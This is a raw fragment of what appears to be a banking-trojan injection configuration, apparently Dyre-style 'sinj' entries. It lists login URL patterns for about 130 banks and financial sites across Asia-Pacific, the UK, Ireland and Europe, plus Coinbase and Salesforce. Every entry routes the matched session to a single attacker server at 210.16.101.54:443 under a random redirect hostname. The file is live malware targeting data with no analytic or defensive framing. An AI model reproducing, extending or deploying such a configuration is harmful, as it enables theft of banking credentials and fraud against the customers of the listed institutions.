<nh>casazhundvfxtriaygwsepjqbolm.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.citibusiness.citibank.com.sg*</mm>
<sm>http://www.citibusiness.citibank.com.sg/SGCBZ/JSO/signon/DisplayUsernameSignon.do*</sm>
<nh>ccsascieromfaktqxdzwvlyjungb.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internet.ocbc.com*</mm>
<sm>http://internet.ocbc.com/internet-banking*</sm>
<nh>cdsaormceauyqdtbkwjpxihgnlvf.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ibank.standardchartered.com.sg*</mm>
<sm>http://ibank.standardchartered.com.sg/nfs/login.htm*</sm>
<nh>cbsacbvkjhzeglayrmxufqwontps.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.citibank.com.sg*</mm>
<sm>http://www.citibank.com.sg/SGGCB/JSO/signon/DisplayUsernameSignon.do*</sm>
<nh>dosakdirnswvzgclyuetaxpbfojq.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.onlinesbiglobal.com*</mm>
<sm>http://www.onlinesbiglobal.com/64SG/BANKAWAY*</sm>
<nh>dasanhdkvrbmogpxeascqjzlifwu.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.barclayswealth.com*</mm>
<sm>http://www.barclayswealth.com/login/action/logon/unauthenticated/corporate*</sm>
<nh>oosaxsrpanztqckeiyfdwlgvmhuo.edu</nh>
<url404>http://wealth.barclays.com/404.html</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://scotiaconnect.scotiabank.com*</mm>
<sm>http://scotiaconnect.scotiabank.com*</sm>
<nh>bcsdlmfcwnzbtsghypodjvuqeakr.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online-business.tsb.co.uk*</mm>
<sm>http://online-business.tsb.co.uk/business/logon*</sm>
<nh>rssccluyobnkspditxzgjafehqwr.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ibank.sbs.net.nz*</mm>
<sm>http://ibank.sbs.net.nz/ui/inetbankindex.aspx*</sm>
<nh>hascmtxvozygsndelpukfcqrawbh.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.mebank.com.au*</mm>
<sm>http://ib.mebank.com.au/auth/ib/login.html*</sm>
<nh>hbscjykvusxdowepztcfliangbmr.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.tmbank.com.au*</mm>
<sm>http://ib.tmbank.com.au/ib/SignOn/Login.aspx*</sm>
<nh>hrscdvjintekwyqzfcourhgpabxs.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.mystate.com.au*</mm>
<sm>http://online.mystate.com.au/Banking/Business/*</sm>
<nh>hhschvklbcaqsemydgowrjxpzfit.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.sbisyd.com.au*</mm>
<sm>http://www.sbisyd.com.au/eremit/index.php*</sm>
<nh>hkscmhcknlfyorgutsjepixdzbvw.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ribs.rabobank.com.au*</mm>
<sm>http://ribs.rabobank.com.au/RIBSAU/AU*</sm>
<nh>soscjwzvfyamixsdrcglepoukhnb.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.boqspecialist.com.au*</mm>
<sm>http://secure.boqspecialist.com.au/BOQ/BOQSpecialist*</sm>
<nh>sascashewzvkbrifjdgtcnxmoluy.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netaccess3.qtmb.com.au*</mm>
<sm>http://netaccess3.qtmb.com.au/QTMB/NetTeller/login.aspx*</sm>
<nh>sdsccbukhpioznryxjevaqsmlwtd.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.internationalmoneytransfers.com.au*</mm>
<sm>http://www.internationalmoneytransfers.com.au/login/login*</sm>
<nh>sssdwkvucjtnrfesbadpimoxhzgl.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bizpermonline.newcastlepermanent.com.au*</mm>
<sm>http://bizpermonline.newcastlepermanent.com.au/NPBSBusiness*</sm>
<nh>aasdfweakbiomzlyhrgtncdsxqvp.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internetbanking.imb.com.au*</mm>
<sm>http://internetbanking.imb.com.au/IB/personal*</sm>
<nh>acsdocmkbszexgwirlnavtpjqhfy.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banking.beyondbank.com.au*</mm>
<sm>http://banking.beyondbank.com.au/*</sm>
<nh>absdkmadvsniytqxehwpfjzurbcg.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://sslsecure.maybank.com.sg*</mm>
<sm>http://sslsecure.maybank.com.sg/cgi-bin/mbs/scripts/mbb_login.jsp*</sm>
<nh>aqsdskgqietpdbuyrmnwxchlfjzo.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bizchannel.cimb.com.sg*</mm>
<sm>http://www.bizchannel.cimb.com.sg/corp/common2/login.do*</sm>
<nh>ahsdtoevygwapsubfmnhlkirqxcj.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ubank.com.au*</mm>
<sm>http://www.ubank.com.au/login*</sm>
<nh>qrsdaupwigdqebfnzmjvstxhyckr.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.greater.com.au*</mm>
<sm>http://ib.greater.com.au/OnlineBanking/Login.aspx*</sm>
<nh>qqsdxnqsaidubrgckzwhempojytf.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.arabbank.com.au*</mm>
<sm>http://online.arabbank.com.au/login/abaonline*</sm>
<nh>qssdqhzbtsyxukinolrvgdfpajwm.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ribs.rabobank.co.nz*</mm>
<sm>https:
//ribs.rabobank.co.nz/RIBSNZ/NZ*</sm>
<nh>qksdzdwieqokbjsyugpnxhfctrla.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.corp.westpac.co.nz*</mm>
<sm>http://online.corp.westpac.co.nz/*</sm>
<nh>hosdclkdxabpiwumornqszyhtevg.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.banksyd.com.au*</mm>
<sm>http://ib.banksyd.com.au/login.aspx*</sm>
<nh>ohsdmqlcdprkfbaunotijvyxhwsg.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.rabodirect.com.au*</mm>
<sm>http://secure.rabodirect.com.au/exp/policyenforcer/pages/loginB2CDGPEN.jsf*</sm>
<nh>ossdwgfmcjxykqudpsioavtzbnre.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://onlinebanking.nationwide.co.uk*</mm>
<sm>http://onlinebanking.nationwide.co.uk*</sm>
<nh>casdoshbcpkawqlfdexzjvgrntim.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://cbonline.lloydsbank.com*</mm>
<sm>http://cbonline.lloydsbank.com/PrimaryAuth/*</sm>
<nh>dasdrolzjvfukphgictedqnaywbx.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ulsterbankanytimebanking.co.uk*</mm>
<sm>http://www.ulsterbankanytimebanking.co.uk/default.aspx*</sm>
<nh>dcsdgxqijmtvoabrdwshyczunlep.org</nh>
<url404>/ServiceManagement/GenericErrorPageNoMenu.aspx?ErrorPage=PNF</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ulsterbank.co.uk*</mm>
<sm>http://ulsterbank.co.uk/ni/business/global/login.ashx*</sm>
<nh>ddsdgihnexoklmrazuywpjvfdcts.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.iombankibanking.com*</mm>
<sm>http://www.iombankibanking.com/eai/IPB_EAI_Web/Service.do*</sm>
<nh>drsdeqyvpuhkzxajftondsrmcwig.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.rbsiibanking.com*</mm>
<sm>http://www.rbsiibanking.com/eai/IPB_EAI_Web/Service.do*</sm>
<nh>dqsdyhjrzabnodqlvgtwcepuixkf.org</nh>
<url404>http://www.rbsiibanking.com/eai/IPB_EAI_Web/eai?TAM_OP=login?USERNAME=unauthenticated?ERROR_CODE=0x00000000*</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.natwestibanking.com*</mm>
<sm>http://www.natwestibanking.com/eai/IPB_EAI_Web/Service.do*</sm>
<nh>dhsdwuqzerfkcmpnstixghjloabd.org</nh>
<url404>http://www.natwestibanking.com/eai/IPB_EAI_Web/eai?TAM_OP=login?USERNAME=unauthenticated*</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://commercial.metrobankonline.co.uk*</mm>
<sm>http://commercial.metrobankonline.co.uk/portalserver/business-login*</sm>
<nh>bdsddxuypqjrehficsgtkbloznmw.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bankline.ulsterbank.ie*</mm>
<sm>http://www.bankline.ulsterbank.ie/CWSLogon/logon.do*</sm>
<nh>cbsaqaxnzgdhjiemowbrsktypfcv.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bankline.ulsterbank.co.uk*</mm>
<sm>http://www.bankline.ulsterbank.co.uk/CWSLogon/logon.do*</sm>
<nh>brsdrlkvwxfzscaebiohuypgnqdj.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.anzdirect.co.nz*</mm>
<sm>http://www.anzdirect.co.nz/online/ado.do*</sm>
<nh>rrscxhlvrknjytoamdgifupwqscb.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.onlinebanking.natwestoffshore.com*</mm>
<sm>http://www.onlinebanking.natwestoffshore.com/default.aspx*</sm>
<nh>kssamzaeyonltqigwfcshujrdxkp.net</nh>
<url404>*ServiceManagement/GenericErrorPageNoMenu.aspx?ErrorPage=PNF*</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.barclayswealth.com*</mm>
<sm>http://www.barclayswealth.com/login/action/logon/unauthenticated/personal*</sm>
<nh>rcsanopvkbuirmaelfgqtwchszyx.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.amp.com.au*</mm>
<sm>http://secure.amp.com.au/wps/portal/sec/login/!ut/p/a1/04_Sj9CPykssy0xPLMnMz0vMAfGjzOLNPNxNPC1MDL0tfHycDBzN_P2MLQ1NjAzcjYAKIoEKDHAARwNC-sP1o8BK8JjgpR-VnpOfBHZNpGNekrFFun5UUWpaalFqkV5pEVA4o6SkoNhK1UDVoLy8XC8xt0AvOT9XL7FU1QCbloz84hL9CFSV-gW5EQa6UUmV5Y6KigDjtv-8/dl5/d5/L2dBISEvZ0FBIS9nQSEh/*</sm>
<nh>bssathcduifobnwgsxpzavjkqely.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ib.boq.com.au*</mm>
<sm>http://www.ib.boq.com.au/boqbl*</sm>
<nh>qbsafcpgztwixdqkeumbrsovjylh.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.macquarie.com.au*</mm>
<sm>http://secure.macquarie.com.au/sepas/serve*</sm>
<nh>qssabyscpowmfkjqhavtrgxuzndl.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ebanking.hsbc.co.nz*</mm>
<sm>http://www.ebanking.hsbc.co.nz/1/2/!ut/p/c5/jZBdC4IwGEZ_0vtuI6VLXTitmeGa6G5kiIigMyKK_n3rJrrpg-fynHPzgAE_Z6_jYC_j4uwENZigzYMQOd0yFLwIkJbZmsu4JCJhnjefecn-qkklokxTLEjquUxCKsUBxRF_1Kp3rVawT5e5hwZM-CYr8ZTzjVzFyDhn0Ez9YLv7d0-Rl6cdVG45z_6D06zr205GD_hDJm4!/dl3/d3/L0lJSklna21BL0lKakFBTXlBQkVSQ0pBISEvNEZHZ3NvMFZ2emE5SUFnIS83X002NzBDMkozMEdTRzYwMlJNREw1QjAzQ0MzL*</sm>
<nh>ahsamacoqysbwguprvfhzxklnjti.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://businessbank.tsbbank.co.nz*</mm>
<sm>http://businessbank.tsbbank.co.nz/BusinessBank/login.jsp*</sm>
<nh>qkscgsadwrcfzlovythpqmuknbex.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ibank.humebank.com.au*</mm>
<sm>http://ibank.humebank.com.au/mvp/signon/login.aspx*</sm>
<nh>drscvuygkhtxrepilmwdfoqnbajz.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://logon.online.anz.com*</mm>
<sm>http://logon.online.anz.com/auth/Logon/CentralLogin.fcc*</sm>
<nh>arsdgverstizwhkcujmqpabfylnd.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ob.cua.com.au*</mm>
<sm>http://ob.cua.com.au/ib/8f675086917e50c560dac572aa62292e/LoginAuth.action*</sm>
<nh>rasdzvuxsocgnkyiweprtqamjhld.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://cbonline.bankofscotland.co.uk*</mm>
<sm>http://cbonline.bankofscotland.co.uk/PrimaryAuth/*</sm>
<nh>dosducfdrtoqlkzbsypehaxwvnjg.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://uas1.cams.scotiabank.com*</mm>
<sm>http://uas1.cams.scotiabank.com/aos/*</sm>
<nh>basdtebhcvkjoxmrywigauqfpzln.org</nh>
<srv>210.16.101.54:443</srv>
</sinj> 
<sinj>
<mm>http://www.coinbase.com*</mm>
<sm>http://www.coinbase.com/*</sm>
<nh>sascpdibusvxghkoeltfjwznmrac.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://login.salesforce.com*</mm>
<sm>http://login.salesforce.com/*</sm>
<nh>hasazhrkvdgneqpbfoyusjliwcam.net</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>

<sinj>
<mm>http://bolpp.bankofireland.com*</mm>
<sm>http://bolpp.bankofireland.com/Commercial*</sm>
<nh>oksafnreqavlxidowtpyjbsmkchu.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.boi-bol.com*</mm>
<sm>http://www.boi-bol.com/newHome.jsp*</sm>
<nh>aasandefgixruyavmskczowqblth.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.kbc.ie*</mm>
<sm>http://online.kbc.ie/kbc-online/onlinebanking/login*</sm>
<nh>dqsabnfuscxtewzjhovilarqkdmg.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://business2.danskebank.ie*</mm>
<sm>http://business2.danskebank.ie/pub/logon/logon.aspx*</sm>
<nh>dssacwklntbiyxpozvjdguqhesfm.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ro.unicreditbanking.net*</mm>
<sm>http://ro.unicreditbanking.net/disp*</sm>
<nh>bhsaviterghbloqznkcpfdasuxym.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://onlinebanking.bankcoop.ch*</mm>
<sm>http://onlinebanking.bankcoop.ch/*</sm>
<nh>kdsaxsvcndpoahqwzkfmbtiuleyr.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://tb.raiffeisendirect.ch*</mm>
<sm>http://tb.raiffeisendirect.ch/*</sm>
<nh>kbsatjudwyiaqxroslcknfbgzepm.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://wwwsec.ebanking.zugerkb.ch*</mm>
<sm>http://wwwsec.ebanking.zugerkb.ch/authen/login*</sm>
<nh>krsatiejgshfpkmxbdznlcyruwao.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>

</sinj>
<sinj>
<mm>http://wwwsec.valiant.ch*</mm>
<sm>http://wwwsec.valiant.ch/authen/login*</sm>
<nh>kqsawcmghqybzsknexltrjfipduv.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://inba.lukb.ch*</mm>
<sm>http://inba.lukb.ch/lukbLogin/*</sm>
<nh>khsaptuvgqcxfkbimlharoezdswn.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bcv.ch*</mm>
<sm>http://www.bcv.ch/bcvd-login/authenticateAction.do*</sm>
<nh>kssaahojdcbsfwpnvtxymizerguq.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bcv.ch*</mm>
<sm>http://www.bcv.ch/en*</sm>
<nh>kksafyorqinuvjdbwsxhlkgampec.com</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bcv.ch*</mm>
<sm>http://www.bcv.ch/de*</sm>
<nh>oasaajfnbsdrvqxiptohzecuwkly.org</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.postfinance.ch*</mm>
<sm>http://www.postfinance.ch/ap/ba/fp/html/e-finance/home*</sm>
<nh>absazwecqpkiuvtmygahdrblofnx.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ebanking-ch2.ubs.com*</mm>
<sm>http://ebanking-ch2.ubs.com/workbench/Index.do*</sm>
<nh>arsaywogipasftbzuxkmrjevcnqd.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://group.unicreditbanking.net*</mm>
<sm>http://group.unicreditbanking.net/*</sm>
<nh>bbsaregadfwylbmqzthsnjvikupo.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.fidunet.lu*</mm>
<sm>http://www.fidunet.lu/fidunet/loginFidu.jsp*</sm>
<nh>brsaovisqyeragkpucndtzjhlxwb.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.corpnet.lu*</mm>
<sm>http://www.corpnet.lu/corpnet/loginCorp.jsp*</sm>
<nh>bqsaryivcxzlhfkbjowmdpgetqua.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.unicreditbank.lu*</mm>
<sm>http://secure.unicreditbank.lu/*</sm>
<nh>bhsadjxiscfqkhwpbuzmoanlgvre.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.unicreditbank.sk*</mm>
<sm>http://www.unicreditbank.sk/i-banking-sk-https.html*</sm>
<nh>bssauevdzlygothqbjncwkfismax.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.unicreditbank.ba*</mm>
<sm>http://www.unicreditbank.ba/eba/BHgradjani*</sm>
<nh>bksarwqxmjkunltebazisfyvgdhc.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.unicreditcorporate.it*</mm>
<sm>http://online.unicreditcorporate.it/login.htm*</sm>
<nh>sasakfyrgdqlpnsivajwtocbuezh.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online-smallbusiness.unicredit.it*</mm>
<sm>http://online-smallbusiness.unicredit.it/login.htm*</sm>
<nh>scsafxebatzhdkqwgrnijulcvypo.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online-private.unicredit.it*</mm>
<sm>http://online-private.unicredit.it/login.htm*</sm>
<nh>sdsatadmflxbvqjgeowyrskphizn.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online-retail.unicredit.it*</mm>
<sm>http://online-retail.unicredit.it/login.htm*</sm>
<nh>sbsafdbzyvknptmguoclixqjhrwa.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.gtb.unicredit.eu*</mm>
<sm>http://www.gtb.unicredit.eu/login*</sm>
<nh>srsaduixftmjekhgocqpnvlwrasy.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://my.hypovereinsbank.de*</mm>
<sm>http://my.hypovereinsbank.de/login*</sm>
<nh>sqsadpvenkhsqfywxiltomjbugrc.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://extra.unicreditbank.hu*</mm>
<sm>http://extra.unicreditbank.hu/eib_SP/loginpage.hu.html*</sm>
<nh>sssanemrohfbaqtjyvsdukzilpxg.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.hvbrsce.com*</mm>
<sm>http://www.hvbrsce.com/ebanking/Athens/Pages/ElectronicBanking.htm*</sm>
<nh>sksafnuzxhmiqlycwbgeatojsrvp.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://si.unicreditbanking.net*</mm>
<sm>http://si.unicreditbanking.net/disp*</sm>
<nh>kosapvijrsmaetbdnqzulgokcxfw.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.unicreditbank.cz*</mm>
<sm>http://www.unicreditbank.cz/web/redirect.php*</sm>
<nh>kasayhdtgnkpwiurcazbqolsvxmj.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.zaba.hr*</mm>
<sm>http://www.zaba.hr/ebank/gradjani/Prijava*</sm>
<nh>krsahlxopswrjtgaquzfvkcyinbe.inf</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://e-bank.unicreditbank.si*</mm>
<sm>http://e-bank.unicreditbank.si/webbankBACX*</sm>
<nh>odsabzdamyxjvcqgnhfustwilroe.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.fineco.it*</mm>
<sm>http://www.fineco.it/it/public*</sm>
<nh>ddsaxgwepzindqufyjolktavrshm.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.investimenti.unicredit.it*</mm>
<sm>http://www.investimenti.unicredit.it/*</sm>
<nh>dbsaehabnckjfuqitgmvlrpyxods.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ticari.yapikredi.com.tr*</mm>
<sm>http://ticari.yapikredi.com.tr/ifcapp/xrl/*</sm>
<nh>drsaafzkdysxhpwijgtnuvecobmq.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ticari.yapikredi.com.tr*</mm>
<sm>http://ticari.yapikredi.com.tr/ifcapp/xrl/*</sm>
<nh>dqsankmraigbtpfovqxwzsljdhce.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://gg-services.credit-suisse.com*</mm>
<sm>http://gg-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>hssauejlbmhvsoxcktwiznfapgdq.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://it-services.credit-suisse.com*</mm>
<sm>http://it-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>hksakseundqgfapmvtxwzjyrbcil.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://pbusa.directnet.com*</mm>
<sm>http://pbusa.directnet.com/dn/c/cls/auth*</sm>
<nh>srsaldbgxrjcfowzeskqtyvaimhu.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://br.credit-suisse.com*</mm>
<sm>http://br.credit-suisse.com/sec/login/default.aspx*</sm>
<nh>sqsaqzyadwpkcxbhulogsierntjv.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://onlinebanking-sg.credit-suisse.com*</mm>
<sm>http://onlinebanking-sg.credit-suisse.com/*</sm>
<nh>shsanhrmqoexjubfpagdtvyswckl.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.credit-suisse.com.sg*</mm>
<sm>http://www.credit-suisse.com.sg/*</sm>
<nh>sssavhyzwsmbxpqjugalnkrectdo.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://securitiesexpert.credit-suisse.com*</mm>
<sm>http://securitiesexpert.credit-suisse.com/cs/eamnet/c/cls/auth*</sm>
<nh>sksaequnalmskwvxthdzjbgroypc.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://mc-services.credit-suisse.com*</mm>
<sm>http://mc-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>kosadmxfrzktpuycoeagvhbjwsil.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://es-services.credit-suisse.com*</mm>
<sm>http://es-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>kasarbqmxcvidklsgntozwjyeuap.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://au-services.credit-suisse.com*</mm>
<sm>http://au-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>kcsavlkjsitogxphbywcaqdrzumn.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://hk-services.credit-suisse.com*</mm>
<sm>http://
hk-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>kdsaliphjyonferdskmatgczuwqv.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://clientview-mx.credit-suisse.com*</mm>
<sm>http://clientview-mx.credit-suisse.com/pb/mexico/c/cls/auth*</sm>
<nh>kbsajpsazgnwicfrehdkmtyxbluq.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://at-directnet.credit-suisse.com*</mm>
<sm>http://at-directnet.credit-suisse.com/dn/c/cls/auth*</sm>
<nh>krsaqwjfvhkslycpaxnegdzrmbot.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://fr-services.credit-suisse.com*</mm>
<sm>http://fr-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>kqsaxilnkysawphjvfrzetumqogd.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://gi-services.credit-suisse.com*</mm>
<sm>http://gi-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>khsamtwkoqlnahrivbpfsdzeyxcu.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://lu-directnet.credit-suisse.com*</mm>
<sm>http://lu-directnet.credit-suisse.com/dn/c/cls/auth*</sm>
<nh>kssarwnkmiaqlpezygdoxuvsthbj.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://cs.directnet.com*</mm>
<sm>http://cs.directnet.com/dn/c/cls/auth*</sm>
<nh>kksagpovkjziqnlmycbesrwaudxh.edu</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bs-services.credit-suisse.com*</mm>
<sm>http://bs-services.credit-suisse.com/cs/ibip/frontend/c/cls/auth*</sm>
<nh>aosabahtjocgezxvylkuindswfqr.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nge01.bnymellon.com*</mm>
<sm>http://nge01.bnymellon.com/NextGenV4/dflt/Login.ing*</sm>
<nh>assabjwovqhstfmycinglpkeauzr.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ingdirect.com.au*</mm>
<sm>http://www.ingdirect.com.au/client/index.aspx*</sm>
<nh>aksawyshptglxukqrcomadzfiejb.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nettbanken.nordea.no*</mm>
<sm>http://nettbanken.nordea.no/login*</sm>
<nh>cqsajwcigmrytdvqebuhnspozfxa.nzo</nh>
<url404></url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://girovision.plusgirot.se*</mm>
